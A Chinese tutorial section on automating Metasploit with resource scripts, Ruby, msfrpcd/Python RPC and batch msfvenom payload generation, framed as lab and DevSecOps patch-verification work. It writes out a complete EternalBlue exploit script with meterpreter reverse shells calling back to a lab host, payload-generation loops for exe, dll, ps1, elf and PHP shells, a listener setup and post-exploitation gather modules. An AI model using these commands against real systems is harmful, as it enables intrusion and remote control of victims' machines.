5.2 自动化脚本编写


5.2 自动化脚本编写

本节摘要:SOURCE 7.1:Metasploit Resource Script(.rc)批量执行;RPC/API 与 Python pymetasploit3 集成 DevSecOps。

动手:lab.rc 示例

自动化第一步是用资源脚本把手工步骤固化。msfconsole 本身是封装了 Ruby 环境的交互解释器,任何控制台操作本质上都是对 API 的调用——这为自动化提供了无限可能。

# lab.rc —— 一次受控实验的完整脚本 workspace -a demo use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.56.10 set PORTS 445,3389 run use auxiliary/scanner/smb/smb_version set RHOSTS 192.168.56.10 run use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 run
# 启动脚本 msfconsole -q -r lab.rc

资源脚本逐行执行,且保留上下文:从全局进入模块、设参、执行、退回,全部在同一 Ruby 进程中完成,内存状态不丢。对网段内多个目标做相同操作时,比手动敲命令高效得多。

自动化层级

层级 方式
脚本 .rc 资源文件
模块开发 Ruby mixin
外部 msfrpcd / REST
# 变量集中管理:setg 全局变量 setg RHOSTS 192.168.56.0/24 setg LHOST 192.168.56.1 # 后续模块自动继承,改一处全局生效
# 带逻辑控制的 rc 片段(resource 支持简单分支) <ruby> if framework.db.active print_status("数据库在线,继续") else print_error("数据库未连接,退出") raise "db offline" end </ruby>

Ruby 脚本:直接操作框架对象

资源脚本缺乏复杂逻辑,Ruby 脚本则直接操作 framework 实例。framework.sessionsframework.modules 提供了遍历与控制能力:

# 伪代码示例:遍历会话做条件判断(教学示意) framework.sessions.each do |sid, session| next unless session.type == 'meterpreter' print_status("Session #{sid} 是 meterpreter") session.core.execute_cmd('getuid') # 依据结果决定下一步 rescue ::Exception => e print_error("Session #{sid} 处理失败: #{e.message}") end
# 在控制台内进入 irb 调试(隔离环境) msf6 > irb irb: warn: can't alias context from irb_context. msf6 (irb) > framework.sessions.count # => 1

这种"元搜索"能力让自动化不再依赖硬编码模块名:可以按平台、rank 动态筛选模块再依次加载。

RPC 集成:让 MSF 成为基础设施

msfrpcd 提供 MessagePack-RPC 接口,外部语言(Python/Java/Go)可以驱动框架:

# 启动 RPC 服务(示例端口与口令) msfrpcd -P password -S -a 127.0.0.1 # -P 认证口令;-S 启用 SSL
# Python 伪代码示意:通过 RPC 触发受控验证(教学用,非完整实现) # from pymetasploit3.msfrpc import MsfRpcClient # client = MsfRpcClient('password', server='127.0.0.1', port=55553) # exec_mod = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue') # exec_mod['RHOSTS'] = '192.168.56.10' # job_id = exec_mod.execute(payload='windows/meterpreter/reverse_tcp', # LHOST='192.168.56.1', LPORT='4444')
# DevSecOps 场景 CI 触发 → RPC 调用受控 exploit 验证补丁 → 结果回传 → 报告入库 自动化首要价值:可重复验证补丁,而非批量攻击

应用模式

模式 用途
标准化验证与回归测试 每次部署后重跑基线
大规模初始打点 对授权网段批量探测
后渗透自动化 提权与信息收集脚本化
报告生成 扫描结果自动渲染
# 批量收集示例:对一组主机跑信息收集模块 # enum.rc 片段 setg RHOSTS 192.168.56.0/24 run post/windows/gather/enum_applications run post/windows/gather/enum_patches

05-05-fig01-5

⚠️ 常见坑:rc 里硬编码 LHOST——CI 需参数化。把 IP、端口抽成变量(setg 或外部传入),脚本才能在多环境复用。

💡 关键直觉:自动化首要价值是「可重复验证补丁」,非批量攻击。同样的脚本,在 DevSecOps 里是质量闸门,在违法场景里就是入侵工具。

一节小结

  • resource 适合实验课与回归测试,上下文保持让脚本可长可短
  • Ruby 脚本直操作 framework 对象,支持条件与异常处理
  • msfrpcd / RPC 把 MSF 变成基础设施,Python 等语言可集成
  • 模块开发遵循 Msf 模块规范,自定义模块放入 ~/.msf4/modules/

资源脚本进阶:变量与宏

资源脚本不是静态文本。用 setg 管理全局变量、用 <ruby> 块嵌入逻辑,可以让脚本具备初步动态性:

# 带全局变量的 rc 片段 setg RHOSTS 192.168.56.10 setg LHOST 192.168.56.1 setg LPORT 4444 use auxiliary/scanner/smb/smb_version run use exploit/windows/smb/ms17_010_eternalblue run # 全局变量自动带入,无需重复 set
# 在 rc 中嵌入 Ruby 做环境判断 <ruby> unless framework.db.active print_error("数据库未连接,先执行 db_status / db_connect") raise "DB offline" end print_status("数据库在线,主机数: #{framework.db.hosts.length}") </ruby>
# 资源脚本内置变量(常见) session # 当前会话对象 framework # 框架实例 lhost # 本机监听地址 lport # 本机监听端口

批量生成与投递:msfvenom 的工程用法

自动化不只发生在控制台内。msfvenom 可以脚本化批量生成载荷,配合投递流程:

# 批量生成多格式载荷(隔离 lab) for fmt in exe dll ps1 raw; do msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.1 LPORT=4444 -f $fmt -o payload.$fmt done ls -la payload.* # 生成多种架构,匹配不同目标 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o linux.elf msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o shell.php
# 投递配合示例(教学示意,隔离环境) # 起监听 → 投递 payload → 目标执行 → 会话回连 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 run -j

把生成、监听、清理封装成脚本,实验环境可以一键重建——这是自动化在测试工程中的直接价值。

调试技巧

自动化脚本调试有三板斧:

# 1. 单行执行定位问题 msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.56.10; run" # 2. 打开日志跟踪 msfconsole -q -L # 3. 资源脚本逐步确认 # 在 rc 中每段末尾加 print_status 输出当前状态 print_status("完成端口扫描,进入利用阶段")
# 常见脚本失败原因 1. 全局变量被局部覆盖(set vs setg) 2. 模块参数名拼写(RHOSTS 复数 vs RHOST) 3. 脚本中路径含空格未引号包裹 4. 环境差异(Windows/Linux 路径分隔符)

写脚本的第一原则:让失败信息可见。宁可多打几个 print_status,也不要脚本黑盒跑完没有任何输出。


作者与出处
原作者: 灏天文库
来源:灏天文库
整理: 灏天文库整理
由灏天文库平台收录,内容或由平台用户上传,仅供学习交流
发布者: 作者: 灏天文库 转发
评论区 (0)
U